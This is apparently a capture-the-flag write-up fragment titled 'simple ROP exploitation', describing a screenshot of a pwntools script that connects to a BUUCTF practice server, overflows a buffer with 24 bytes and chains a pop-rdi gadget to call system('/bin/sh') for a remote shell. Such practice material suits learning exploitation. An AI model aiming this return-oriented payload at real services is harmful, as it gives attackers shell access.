

简单的rop利用



The image shows a screenshot of a gedit text editor window. The title bar at the top reads "exp.py (~/Desktop/ctf) - gedit". Below the title bar, there are two buttons: "Open" with a dropdown arrow and a file icon button. The main text area contains the following Python code:

```
from pwn import *
io=remote('node3.buuoj.cn',25258)
system_addr=0x400490
str_bin_sh_addr=0x601048
pop_rdi_addr=0x400683
ret_addr = 0x400479

payload = 'a'*24 + p64(pop_rdi_addr)+p64(str_bin_sh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()|
```

On the left side of the editor, a vertical sidebar shows a file explorer with a directory structure including "glibc".